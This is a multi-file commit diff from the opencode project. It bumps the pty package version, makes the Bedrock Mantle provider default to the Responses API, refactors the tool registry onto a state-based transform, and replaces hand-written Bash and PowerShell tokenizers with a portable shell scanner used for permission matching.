Compare commits

...
49 changed files with 5223 additions and 1402 deletions
+10
View File
@@ -0,0 +1,10 @@
---
"@opencode-ai/core": patch
---
Make the experimental portable shell scanner authoritative, with no Tree-sitter
fallback. Scan common Bash and PowerShell control flow, heredocs, functions,
expressions, quoting, and substitutions natively. Preserve existing redirect and
declaration permission matching, and make PowerShell saved approvals cover the
original command spelling. Parser failures remain visible without changing the
permission engine. The default Tree-sitter path is unchanged.
+9 -9
View File
@@ -125,7 +125,7 @@
"@effect/platform-node": "catalog:",
"@opencode-ai/client": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/server": "workspace:*",
"@opencode-ai/tui": "workspace:*",
@@ -364,7 +364,7 @@
"@opencode-ai/ai": "workspace:*",
"@opencode-ai/codemode": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/util": "workspace:*",
"@parcel/watcher": "2.5.1",
@@ -2175,19 +2175,19 @@
"@opencode-ai/protocol": ["@opencode-ai/protocol@workspace:packages/protocol"],
"@opencode-ai/pty": ["@opencode-ai/pty@0.1.10", "", { "optionalDependencies": { "@opencode-ai/pty-darwin-arm64": "0.1.10", "@opencode-ai/pty-darwin-x64": "0.1.10", "@opencode-ai/pty-linux-arm64-gnu": "0.1.10", "@opencode-ai/pty-linux-arm64-musl": "0.1.10", "@opencode-ai/pty-linux-x64-gnu": "0.1.10", "@opencode-ai/pty-linux-x64-musl": "0.1.10" }, "bin": { "opencode-pty": "bin/opencode-pty.js" } }, "sha512-cEJT1ADtmnb+df2wrlUcsGny6Q7pTe9Sa7keISzCO0xN1FrL1aS6+eleBPpDimHjgM/sXqvLwJv0UiAeiAvgxQ=="],
"@opencode-ai/pty": ["@opencode-ai/pty@0.1.11", "", { "optionalDependencies": { "@opencode-ai/pty-darwin-arm64": "0.1.11", "@opencode-ai/pty-darwin-x64": "0.1.11", "@opencode-ai/pty-linux-arm64-gnu": "0.1.11", "@opencode-ai/pty-linux-arm64-musl": "0.1.11", "@opencode-ai/pty-linux-x64-gnu": "0.1.11", "@opencode-ai/pty-linux-x64-musl": "0.1.11" }, "bin": { "opencode-pty": "bin/opencode-pty.js" } }, "sha512-Q4p0XXZWbc8FnpEJaaLqVbCdodxR9lVzaQjMH18KvjX/4m6tYfuspz03mvkN9MdmtDJ2GOZS7QgGQ7Q+RE9aWw=="],
"@opencode-ai/pty-darwin-arm64": ["@opencode-ai/pty-darwin-arm64@0.1.10", "", { "os": "darwin", "cpu": "arm64" }, "sha512-j7aszDFRwCIazGUT9eIy4PZwh4rltjvRmoicPRTK3kONN3v0MMflstkmAFDYYpqDPTNh3qJ6xkQmB+DugEbhAg=="],
"@opencode-ai/pty-darwin-arm64": ["@opencode-ai/pty-darwin-arm64@0.1.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Hz59ImecqeBdLQ40TknPDc9k4xWjQPaTgZ7cXzF3vclAvZiFYSM1rRdbBF6rOaOB0DBp0OFYsiaPP1ykszLsfw=="],
"@opencode-ai/pty-darwin-x64": ["@opencode-ai/pty-darwin-x64@0.1.10", "", { "os": "darwin", "cpu": "x64" }, "sha512-UAMP/E4lo9RGQF7xrfIwpW2ZEemj308rCogJy14ruKYJt5MwHeGNTynGiHE/1JlDLRy+21wV50jpugADgT71ag=="],
"@opencode-ai/pty-darwin-x64": ["@opencode-ai/pty-darwin-x64@0.1.11", "", { "os": "darwin", "cpu": "x64" }, "sha512-TPpA+FZ08BXtTcOeqe0FEJitqLld6Nl46UizcSmQCTRM22xOKPar6OoxHGYtqdFCaFk43a+hk/0GWpV7mcEQEg=="],
"@opencode-ai/pty-linux-arm64-gnu": ["@opencode-ai/pty-linux-arm64-gnu@0.1.10", "", { "os": "linux", "cpu": "arm64" }, "sha512-lTPlZNQ66koFHZqoPmvvq0SetlepKVQYgnLryhlVfYtcryWDJM7gV4+P66V12RwqWQTjt2u8j12mtg3axSKg2w=="],
"@opencode-ai/pty-linux-arm64-gnu": ["@opencode-ai/pty-linux-arm64-gnu@0.1.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-PTU9Ss5a5pApw6IeVvjjbFPuui2oKMoTQ/nY+K1+idLpgMeQHXk2URJbQqetqJxH4OLL5eSutDeWvpkweW0tTw=="],
"@opencode-ai/pty-linux-arm64-musl": ["@opencode-ai/pty-linux-arm64-musl@0.1.10", "", { "os": "linux", "cpu": "arm64" }, "sha512-IDmWHRylMR/ZfMw9/AAktO/Edi4TITPC+Tq7Xx3JZHsDgSba3QdyE11uNL0zM1myTGdk6Yrt4rpdAzaItPnDjw=="],
"@opencode-ai/pty-linux-arm64-musl": ["@opencode-ai/pty-linux-arm64-musl@0.1.11", "", { "os": "linux", "cpu": "arm64" }, "sha512-NFZ2LLfEaO6858cYtEwfQKda/HnCrPR0WflnWoDllHmdY12umeHkeE8DnZQK48tziXxvEACspItXmleiAMAg3g=="],
"@opencode-ai/pty-linux-x64-gnu": ["@opencode-ai/pty-linux-x64-gnu@0.1.10", "", { "os": "linux", "cpu": "x64" }, "sha512-Q1yob0/8X2JoJZzFmNKUc32XDRAe0avKQ8PLKkpJr30qWXSrGmhltgcDmn94Q70zW9Ght9on84T7cmge9brvdQ=="],
"@opencode-ai/pty-linux-x64-gnu": ["@opencode-ai/pty-linux-x64-gnu@0.1.11", "", { "os": "linux", "cpu": "x64" }, "sha512-2Wbko2tFkgTmY6ceB+QMA3E+omaRd5IBBFjJoikMxkc7n75TXYQVz09tCC0pPW+flGvApFQ2YcIkSotdLwit+A=="],
"@opencode-ai/pty-linux-x64-musl": ["@opencode-ai/pty-linux-x64-musl@0.1.10", "", { "os": "linux", "cpu": "x64" }, "sha512-7RLHWQxX/wfUKJJP2ZMMtkXaPsrgoMNKzE6PL/LbnYbMBtkqfld9EDcMv1RFZ0CqjNFgI0Hg4eRk6x+ZNc/wyQ=="],
"@opencode-ai/pty-linux-x64-musl": ["@opencode-ai/pty-linux-x64-musl@0.1.11", "", { "os": "linux", "cpu": "x64" }, "sha512-PF7vbOsSOVbRSo11pOOmJq/Vp34Ww7Xoo8rUeMSAoG1tJSIp2SXFHCRKEGH9H4KxGUfpRHQlDBV1HLz8onnyJQ=="],
"@opencode-ai/schema": ["@opencode-ai/schema@workspace:packages/schema"],
+4 -4
View File
@@ -1,8 +1,8 @@
{
"nodeModules": {
"x86_64-linux": "sha256-XHUy+Hk+RHUHREt4x0HfSzr3RlEvgBd4H/fV0rlXw2M=",
"aarch64-linux": "sha256-/gIaM62uV2X6KCnkSi6QjyT7t7uJ2L7u7CxXxPQYK+w=",
"aarch64-darwin": "sha256-PWG6ALh6kG7mnC6AzEuIAU54BEQ4IB+SyyQFGb/s+Dc=",
"x86_64-darwin": "sha256-TcgRDHG4CAT+XoCi0JNansONjg06ZPRmeLRsqmdJ4B4="
"x86_64-linux": "sha256-NV1PD2fCgWEKsr9kR0pV9jgkC400dzoF7/DnI/fY5yI=",
"aarch64-linux": "sha256-TDTdwE0mcHLrrKPDwPPBk3qIDl/PXJrLX6Zbwp7EH3I=",
"aarch64-darwin": "sha256-6MEoiV1UKAWgC7C6PR4USCP/LLZXROfBfPg6sb2VVWg=",
"x86_64-darwin": "sha256-8JV6YVZFq1BC++zpARxBWhQ+wuNJrWgTZJ6jfQhDybs="
}
}
@@ -78,7 +78,7 @@ export const configure = (input: Config = {}) => {
return {
id,
model: chat,
model: responses,
chat,
responses,
configure,
@@ -112,4 +112,4 @@ export const responsesModel: ProviderPackage.Definition<Settings, OpenAIProvider
modelID,
settings,
) => configure(config(settings)).responses(modelID)
export const model = chatModel
export const model = responsesModel
@@ -1,2 +1,2 @@
export { chatModel as model } from "../amazon-bedrock-mantle.js"
export { responsesModel as model } from "../amazon-bedrock-mantle.js"
export type { Settings } from "../amazon-bedrock-mantle.js"
@@ -3,6 +3,7 @@ import { Effect } from "effect"
import { HttpClientRequest } from "effect/unstable/http"
import { LLM, Message } from "../../src/index.js"
import { AmazonBedrockMantle } from "../../src/providers.js"
import { model } from "../../src/providers/amazon-bedrock/mantle.js"
import { OpenAIResponses } from "../../src/protocols/openai-responses.js"
import { compileRequest, LLMClient } from "../../src/route/client.js"
import { it } from "../lib/effect.js"
@@ -17,13 +18,16 @@ const credentials = {
}
describe("Amazon Bedrock Mantle provider", () => {
it.effect("uses Chat by default and exposes Responses", () =>
it.effect("uses Responses by default and exposes Chat explicitly", () =>
Effect.gen(function* () {
const provider = AmazonBedrockMantle.configure({ credentials })
expect(provider.responses("openai.gpt-oss-120b").route.transport).toBe(OpenAIResponses.httpTransport)
const chat = yield* compileRequest(LLM.request({ model: provider.model("openai.gpt-oss-120b"), prompt: "Hi" }))
expect(provider.model).toBe(provider.responses)
expect(AmazonBedrockMantle.model).toBe(AmazonBedrockMantle.responsesModel)
expect(model).toBe(AmazonBedrockMantle.responsesModel)
expect(provider.model("openai.gpt-oss-120b").route.transport).toBe(OpenAIResponses.httpTransport)
const chat = yield* compileRequest(LLM.request({ model: provider.chat("openai.gpt-oss-120b"), prompt: "Hi" }))
const responses = yield* compileRequest(
LLM.request({ model: provider.responses("openai.gpt-oss-120b"), prompt: "Hi" }),
LLM.request({ model: provider.model("openai.gpt-oss-120b"), prompt: "Hi" }),
)
expect(chat).toMatchObject({
@@ -37,7 +41,7 @@ describe("Amazon Bedrock Mantle provider", () => {
body: { model: "openai.gpt-oss-120b", store: false },
})
expect(provider.model("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
expect(provider.responses("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
expect(provider.chat("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
}),
)
+1 -1
View File
@@ -27,7 +27,7 @@
"@effect/platform-node": "catalog:",
"@opencode-ai/client": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/server": "workspace:*",
"@opencode-ai/tui": "workspace:*",
+1 -1
View File
@@ -118,7 +118,7 @@
"@ff-labs/fff-node": "0.10.5",
"@opencode-ai/codemode": "workspace:*",
"@opencode-ai/ai": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/util": "workspace:*",
+2 -8
View File
@@ -377,14 +377,8 @@ export const make = Effect.fn("PluginHost.make")(function* (plugin: Interface, p
hook: (name, callback) => hooks.register("shell", name, callback),
},
tool: {
transform: (callback) =>
tools
.transform((draft) =>
callback({
add: (tool) => draft.add(tool),
}),
)
.pipe(Effect.as({ dispose: Effect.void })),
transform: tools.transform,
reload: tools.reload,
hook: (name, callback) => hooks.register("tool", name, callback),
},
vcs: {
+60 -405
View File
@@ -7,12 +7,17 @@ import path from "path"
import type { Node } from "web-tree-sitter"
import { shellParserWasm } from "#shell-parser-wasm"
import { ShellSelect } from "./select.js"
import { Wildcard } from "../util/wildcard.js"
type Part = { type: string; text: string }
type SourceToken = { raw: string; value: string }
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
export type Result = {
commands: Array<{ resource: string; save: string }>
directories: string[]
}
const ARITY: Record<string, number> = {
cat: 1,
cd: 1,
@@ -152,6 +157,7 @@ const ARITY: Record<string, number> = {
"yarn dlx": 3,
"yarn run": 3,
}
const PREFIX_LENGTH = Math.max(...Object.values(ARITY))
export const scan = Effect.fnUntraced(function* (
command: string,
@@ -159,7 +165,7 @@ export const scan = Effect.fnUntraced(function* (
cwd: string,
options?: { portable?: boolean },
) {
if (options?.portable) return yield* Effect.promise(() => scanPortable(command, shell, cwd))
if (options?.portable) return yield* scanPortable(command, shell, cwd)
return yield* scanLegacy(command, shell, cwd)
})
@@ -197,416 +203,65 @@ const scanLegacy = Effect.fnUntraced(function* (command: string, shell: string,
)
})
async function scanPortable(command: string, shell: string, cwd: string) {
const { ShellScan } = await import("./scan.js")
export const scanPortable = Effect.fnUntraced(function* (command: string, shell: string, cwd: string) {
const { ShellScan } = yield* Effect.tryPromise({
try: () => import("./scan.js"),
catch: (cause) => new Error(`Portable shell scanner failed to load: ${cause}`, { cause }),
})
const powershell = ShellSelect.ps(shell)
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
if (result.kind === "opaque") return { commands: [{ resource: command, save: command }], directories: [] }
const carriage = powershell ? command.search(/\r(?!\n)/) : -1
if (carriage >= 0) return { commands: [], directories: [] }
if (result.kind === "opaque")
return yield* Effect.fail(new Error(`Portable shell scanner cannot analyze command: ${result.reason}`))
const parsed = result.commands.reduce(
(output, item) => {
const index = item[ShellScan.Nested] ? -1 : command.indexOf(item.resource, output.cursor)
const offset = item[ShellScan.Nested]
? command.lastIndexOf(item.resource, output.cursor - 1)
: index < 0
? command.indexOf(item.resource)
: index
if (index >= 0) output.cursor = index + item.resource.length
const before = command.slice(0, Math.max(0, offset))
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
if (!name) return output
if (powershell && name === "<") return output
if (
powershell &&
name === "foreach-object" &&
item.words.some((word) => word.startsWith("{")) &&
!/\|\s*$/.test(before)
const output: Result = { commands: [], directories: [] }
for (const item of result.commands) {
// The legacy command walk skips declarations, not the substitutions within them.
if (item.declaration) continue
const words = item.redirectWordCount === undefined ? item.rawWords : item.rawWords.slice(0, item.redirectWordCount)
// The shipped PowerShell grammar treats bare statement-head foreach prefixes as control flow.
if (powershell && item.statementHead && /^foreach(?:-|$)/i.test(words[0] ?? "")) continue
const name = powershell ? words[0]?.toLowerCase() : words[0]
if (CWD.has(name)) {
output.directories.push(
...directoryArgs(
words.flatMap((text): Part[] => {
const parameter = powershell ? /^(-(?:literalpath|path)):(.*)$/i.exec(text) : undefined
if (parameter)
return [
{ type: "command_parameter", text: parameter[1] },
{ type: "word", text: parameter[2] },
]
return [{ type: powershell && text.startsWith("-") ? "command_parameter" : "word", text }]
}),
powershell,
cwd,
shell,
),
)
return output
const tokens = powershell ? powerShellSourceTokens(item.resource) : sourceTokens(item.resource)
const sourceHead = powershell ? item.words[0] : tokens.find((token) => token.value === item.words[0])?.raw
if (CWD.has(name) && (powershell || sourceHead === item.words[0])) {
output.directories.push(...portableDirectoryArgs(item.words, tokens, powershell, cwd, shell))
return output
}
const save = powershell ? powerShellSourcePrefix(tokens, item.words) : bashSourcePrefix(tokens, item.words)
output.commands.push({
resource: powershell ? item.resource : bashResource(item.resource, before),
save: `${save} *`,
})
return output
},
{
commands: [] as Array<{ resource: string; save: string }>,
directories: [] as string[],
cursor: 0,
},
)
return { commands: parsed.commands, directories: parsed.directories }
}
function bashResource(resource: string, before: string) {
if (!/(?:&&|\|\||\|&)\s*$|\|\s*$/.test(before)) return resource
const redirect = bashRedirect(resource)
return redirect < 0 ? resource : resource.slice(0, redirect).replace(/\d+$/, "").trim()
}
function bashRedirect(resource: string) {
let quote: "single" | "double" | undefined
for (let index = 0; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (quote === "double") {
if (char === "$" && resource[index + 1] === "(") index = bashParenthesizedEnd(resource, index + 1)
else if (char === "`") index = bashBacktickEnd(resource, index)
continue
}
if (char === "'") {
quote = "single"
continue
}
if ((char === "$" || char === "<" || char === ">") && resource[index + 1] === "(") {
index = bashParenthesizedEnd(resource, index + 1)
continue
}
if (char === "`") {
index = bashBacktickEnd(resource, index)
continue
}
if (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">")) return index
const selected = prefix(words.slice(0, PREFIX_LENGTH))
const conventional = `${selected.join(" ")} *`
const end = item.wordEnds?.[selected.length - 1]
// Keep existing grants stable unless normalized spacing loses the original source boundary.
const save =
!powershell || end === undefined || Wildcard.match(item.resource, conventional)
? conventional
: (() => {
const boundary =
item.wordEnds?.find(
(value) => value >= end && (value >= item.resource.length || /\s/.test(item.resource[value])),
) ?? end
const separator = /^\s+(?:`(?:\r\n|\r|\n)\s*)?/.exec(item.resource.slice(boundary))?.[0]
return `${item.resource.slice(0, boundary)}${separator ?? " "}*`
})()
output.commands.push({
resource: item.resource,
save,
})
}
return -1
}
function bashParenthesizedEnd(resource: string, start: number) {
let level = 1
let quote: "single" | "double" | undefined
for (let index = start + 1; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (quote === "double") continue
if (char === "'") {
quote = "single"
continue
}
if (char === "(") level++
if (char === ")" && --level === 0) return index
}
return resource.length - 1
}
function bashBacktickEnd(resource: string, start: number) {
for (let index = start + 1; index < resource.length; index++) {
if (resource[index] === "\\") index++
else if (resource[index] === "`") return index
}
return resource.length - 1
}
function portableDirectoryArgs(
command: string[],
tokens: SourceToken[],
powershell: boolean,
cwd: string,
shell: string,
) {
if (!powershell) {
const start = tokens.findIndex((token) => token.value === command[0])
if (start < 0) return []
return directoryArgs(
tokens.slice(start).map((token) => ({ type: "word", text: token.raw })),
false,
cwd,
shell,
)
}
const start = tokens.findIndex((token) => token.value.toLowerCase() === command[0]?.toLowerCase())
if (start < 0) return []
const directories: string[] = []
let expectsPath = false
for (const part of tokens.slice(start + 1).map((token) => token.raw)) {
if (expectsPath) {
const value = directoryArgument(part, true, cwd, shell)
if (value) directories.push(value)
expectsPath = false
continue
}
if (part.startsWith("-")) {
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
continue
}
const value = directoryArgument(part, true, cwd, shell)
if (value) directories.push(value)
}
return directories
}
function sourceTokens(resource: string) {
const tokens: SourceToken[] = []
let raw = ""
let value = ""
let quote: "single" | "double" | "backtick" | undefined
let substitution = 0
let redirect = false
const finish = () => {
if (!raw) return
if (!redirect) tokens.push({ raw, value })
raw = ""
value = ""
redirect = false
}
for (let index = 0; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
raw += char
if (char === "'") quote = undefined
else value += char
continue
}
if (quote === "double") {
raw += char
if (char === '"') quote = undefined
else if (char === "\\" && index + 1 < resource.length) {
const next = resource[index + 1]
if ('$`"\\\n'.includes(next)) {
raw += resource[++index]
if (next !== "\n") value += next
} else value += char
} else value += char
continue
}
if (quote === "backtick") {
raw += char
value += char
if (char === "`" && resource[index - 1] !== "\\") quote = undefined
continue
}
if (char === "'") {
raw += char
quote = "single"
continue
}
if (char === '"') {
raw += char
quote = "double"
continue
}
if (char === "`") {
raw += char
value += char
quote = "backtick"
continue
}
if (char === "\\" && index + 1 < resource.length) {
if (resource[index + 1] === "\n") {
finish()
index++
continue
}
if (!raw && /\s/.test(resource[index + 1])) {
index++
continue
}
raw += char + resource[++index]
value += resource[index]
continue
}
if ((char === "<" || char === ">") && resource[index + 1] === "(") {
const end = bashParenthesizedEnd(resource, index + 1)
if (raw) {
raw += resource.slice(index, end + 1)
value += resource.slice(index, end + 1)
}
index = end
continue
}
if (char === "$" && resource[index + 1] === "(") substitution++
if (char === ")" && substitution > 0) substitution--
if (substitution === 0 && /\s/.test(char)) {
finish()
continue
}
if (substitution === 0 && (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">"))) {
if (/^\d+$/.test(value)) {
raw = ""
value = ""
} else finish()
redirect = true
if (char === "&") index++
while (/[<>&|]/.test(resource[index + 1] ?? "")) index++
continue
}
raw += char
value += char
}
finish()
return tokens
}
function bashSourcePrefix(tokens: SourceToken[], words: string[]) {
const start = tokens.findIndex((token) => token.value === words[0])
if (start < 0) {
const command = tokens.findIndex((token) => !/^[A-Za-z_][A-Za-z0-9_]*\+?=/.test(token.raw))
return prefix(tokens.slice(Math.max(0, command)).map((token) => token.raw)).join(" ")
}
const source = tokens
.slice(start)
.map((token) => token.raw)
.filter((token) => !/^\$\([\s\S]*\)$/.test(token) && !/^`[\s\S]*`$/.test(token))
return prefix(source).join(" ")
}
function powerShellSourcePrefix(tokens: SourceToken[], words: string[]) {
const start = tokens.findIndex((token) => token.value.toLowerCase() === words[0]?.toLowerCase())
if (start < 0) return prefix(words).join(" ")
return prefix(tokens.slice(start).map((token) => token.raw)).join(" ")
}
function powerShellSourceTokens(resource: string) {
const tokens: SourceToken[] = []
let raw = ""
let value = ""
let quote: "single" | "double" | undefined
let redirect = false
const finish = () => {
if (!raw) return
if (!redirect) tokens.push({ raw, value })
raw = ""
value = ""
redirect = false
}
for (let index = 0; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
raw += char
if (char === "'" && resource[index + 1] === "'") {
raw += resource[++index]
value += "'"
} else if (char === "'") quote = undefined
else value += char
continue
}
if (quote === "double") {
raw += char
if (char === '"') quote = undefined
else if (char === "`" && index + 1 < resource.length) {
raw += resource[++index]
value += resource[index]
} else value += char
continue
}
if (char === "'") {
raw += char
quote = "single"
continue
}
if (char === '"') {
raw += char
quote = "double"
continue
}
if (char === "`" && index + 1 < resource.length) {
raw += char + resource[++index]
if (resource[index] !== "\n" && resource[index] !== "\r") value += resource[index]
continue
}
if (char === "{" && !raw) {
const end = powerShellBracedEnd(resource, index)
raw = resource.slice(index, end + 1)
value = raw
index = end
continue
}
if (/\s/.test(char)) {
finish()
continue
}
if (char === ">") {
if (resource[index + 1] && !/[\s>&]/.test(resource[index + 1])) {
raw += char
value += char
continue
}
if (/^\d+$/.test(value)) {
raw = ""
value = ""
} else if (raw === "*") {
raw = ""
value = ""
} else finish()
redirect = true
while (/[>&\d]/.test(resource[index + 1] ?? "")) index++
continue
}
if ((char === "&" || char === ".") && !raw && tokens.length === 0) continue
raw += char
value += char
}
finish()
return tokens
}
function powerShellBracedEnd(resource: string, start: number) {
let level = 1
let quote: "single" | "double" | undefined
for (let index = start + 1; index < resource.length; index++) {
const char = resource[index]
if (char === "`" && quote !== "single") {
index++
continue
}
if (quote === "single") {
if (char === "'" && resource[index + 1] === "'") index++
else if (char === "'") quote = undefined
continue
}
if (quote === "double") {
if (char === '"') quote = undefined
continue
}
if (char === "'") {
quote = "single"
continue
}
if (char === '"') {
quote = "double"
continue
}
if (char === "{") level++
if (char === "}" && --level === 0) return index
}
return resource.length - 1
}
return output
})
function parts(node: Node) {
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
File diff suppressed because it is too large Load Diff
+132 -136
View File
@@ -4,7 +4,8 @@ export type { Context, Metadata, Options, Result } from "@opencode-ai/schema/too
import { ToolDefinition, type ToolCall } from "@opencode-ai/ai"
import { Tool } from "@opencode-ai/schema/tool"
import { Context, Effect, Layer, Schema, SchemaIssue, Scope, Semaphore } from "effect"
import type { ToolDraft } from "@opencode-ai/plugin/effect/tool"
import { Context, Effect, Layer, Result, Schema, SchemaIssue, Types } from "effect"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
import type { Agent } from "./agent.js"
import { CodeModeCatalog } from "./codemode/catalog.js"
@@ -14,6 +15,7 @@ import { Permission } from "./permission.js"
import { PluginHooks } from "./plugin/hooks.js"
import { SessionMessage } from "./session/message.js"
import { SessionSchema } from "./session/schema.js"
import { State } from "./state.js"
import { definition, execute, normalizeContent } from "./tool/runtime.js"
import { Wildcard } from "./util/wildcard.js"
@@ -22,10 +24,7 @@ export class RegistrationError extends Schema.TaggedError<RegistrationError>()("
message: Schema.String,
}) {}
export interface Interface {
readonly transform: (
callback: (draft: { readonly add: (tool: Tool.Info) => void }) => void,
) => Effect.Effect<void, never, Scope.Scope>
export interface Interface extends State.Transformable<ToolDraft> {
readonly snapshot: (permissions?: Permission.Ruleset) => Effect.Effect<Snapshot>
}
@@ -79,9 +78,6 @@ const layer = Layer.effect(
]
})
const local = new Map<string, Array<{ readonly token: object; readonly tool: Tool.Info }>>()
const lock = Semaphore.makeUnsafe(1)
const executeTool = Effect.fn("Tool.execute")(function* (
tool: Tool.Info,
name: string,
@@ -137,112 +133,123 @@ const layer = Layer.effect(
}
})
const transform: Interface["transform"] = Effect.fn("Tool.transform")(function* (callback) {
const tools: Array<Tool.Info> = []
yield* Effect.sync(() => callback({ add: (tool) => tools.push(tool) }))
const valid = yield* Effect.filter(normalizedEntries(tools), (entry) =>
Effect.gen(function* () {
if (entry.tool.options?.namespace !== undefined) yield* validateNamespace(entry.tool.options.namespace)
yield* validateName(normalizedName(entry.tool))
if (entry.tool.options?.codemode === false && entry.key === "execute")
return yield* new RegistrationError({
name: entry.key,
message: 'Tool name "execute" is reserved for CodeMode',
})
yield* Effect.try({
try: () => ToolDefinition.make(definition(entry.tool)),
catch: (error) =>
new RegistrationError({
name: entry.key,
message: `Invalid tool definition ${entry.key}: ${schemaMakeError(error)}`,
}),
})
return true
}).pipe(Effect.catchTag("Tool.RegistrationError", (error) => skipRegistration(entry.tool, error))),
)
// Reject every ambiguous entry rather than choosing a winner.
const entries = yield* Effect.filter(valid, (entry) => {
if (!valid.some((candidate) => candidate !== entry && candidate.key === entry.key)) return Effect.succeed(true)
return skipRegistration(
entry.tool,
new RegistrationError({ name: entry.key, message: `Duplicate normalized tool name: ${entry.key}` }),
)
})
if (entries.length === 0) return
yield* Effect.uninterruptible(
lock.withPermit(
Effect.gen(function* () {
const token = {}
for (const entry of entries)
local.set(entry.key, [...(local.get(entry.key) ?? []), { token, tool: entry.tool }])
yield* Effect.addFinalizer(() =>
lock.withPermit(
Effect.sync(() => {
for (const entry of entries) {
const remaining = local.get(entry.key)?.filter((item) => item.token !== token) ?? []
if (remaining.length > 0) local.set(entry.key, remaining)
else local.delete(entry.key)
}
}),
),
)
}),
const state = State.create({
name: "tool",
initial: () => ({
tools: new Map<string, Types.Mutable<Tool.Info>>(),
errors: new Array<{ tool: Tool.Info; error: RegistrationError }>(),
}),
draft: (data) => data,
finalize: (draft) =>
Effect.forEach(
draft.errors,
(entry) =>
Effect.logError("Skipping invalid tool registration", {
name: entry.tool.name,
namespace: entry.tool.options?.namespace,
error: entry.error.message,
}),
{ discard: true },
),
)
})
return Service.of({
transform,
snapshot: Effect.fn("Tool.snapshot")((permissions) =>
lock.withPermit(
Effect.gen(function* () {
const active = new Map<string, Tool.Info>()
const rules = permissions ?? []
for (const [name, entries] of local) {
const tool = entries.at(-1)?.tool
if (!tool) continue
if (whollyDisabled(tool.options?.permission ?? name, rules)) continue
active.set(name, tool)
}
const direct = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode === false))
const codemode = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode !== false))
const executeRule = rules.findLast((rule) => Wildcard.match("execute", rule.action))
const codemodeEnabled = executeRule?.resource !== "*" || executeRule.effect !== "deny"
const codemodeTool = codemodeEnabled
? CodeModeTool.create(codemode, (name, tool, input, context) => executeTool(tool, name, input, context))
: undefined
const codeModeCatalog = codemodeEnabled ? CodeModeTool.catalog(codemode) : undefined
return {
...(codeModeCatalog === undefined ? {} : { codeModeCatalog }),
definitions: [
...Array.from(direct)
.sort(([left], [right]) => (left < right ? -1 : left > right ? 1 : 0))
.map(([, tool]) => definition(tool)),
...(codemodeTool ? [definition(codemodeTool)] : []),
],
execute: (input: {
readonly sessionID: SessionSchema.ID
readonly agent: Agent.ID
readonly messageID: SessionMessage.ID
readonly call: ToolCall
readonly progress?: (update: Tool.Metadata) => Effect.Effect<void>
}) => {
const context: Tool.Context = {
sessionID: input.sessionID,
agent: input.agent,
messageID: input.messageID,
id: Tool.CallID.make(input.call.id),
progress: input.progress ?? (() => Effect.void),
transform: (callback) =>
state.transform((draft) => {
// Preserve rejection of ambiguous adds within one transform, without rejecting later overrides.
const added = new Map<string, Tool.Info | undefined>()
callback({
add: (tool) => {
const error = registrationError(tool)
if (error) {
draft.errors.push({ tool, error })
return
}
const id = effectiveName(tool)
if (added.has(id)) {
draft.errors.push({
tool,
error: new RegistrationError({ name: id, message: `Duplicate normalized tool name: ${id}` }),
})
const previous = added.get(id)
if (previous) {
draft.tools.set(id, previous)
return
}
if (input.call.name === "execute" && codemodeTool)
return executeTool(codemodeTool, input.call.name, input.call.input, context)
const tool = direct.get(input.call.name)
if (tool) return executeTool(tool, input.call.name, input.call.input, context)
return new Tool.Error({ message: `Unknown tool: ${input.call.name}` })
},
}
}),
),
draft.tools.delete(id)
return
}
added.set(id, draft.tools.get(id))
draft.tools.set(id, { ...tool })
},
update: (id, update) => {
const current = draft.tools.get(id)
if (!current) return
const tool = { ...current }
update(tool)
tool.name = current.name
if (tool.options?.namespace !== current.options?.namespace)
tool.options = { ...tool.options, namespace: current.options?.namespace }
const error = registrationError(tool)
if (error) {
draft.errors.push({ tool, error })
return
}
draft.tools.set(id, tool)
},
remove: (id) => {
draft.tools.delete(id)
added.delete(id)
},
})
}),
reload: state.reload,
snapshot: Effect.fn("Tool.snapshot")((permissions) =>
Effect.sync(() => {
const active = new Map<string, Tool.Info>()
const rules = permissions ?? []
for (const [name, tool] of state.get().tools) {
if (whollyDisabled(tool.options?.permission ?? name, rules)) continue
active.set(name, tool)
}
const direct = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode === false))
const codemode = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode !== false))
const executeRule = rules.findLast((rule) => Wildcard.match("execute", rule.action))
const codemodeEnabled = executeRule?.resource !== "*" || executeRule.effect !== "deny"
const codemodeTool = codemodeEnabled
? CodeModeTool.create(codemode, (name, tool, input, context) => executeTool(tool, name, input, context))
: undefined
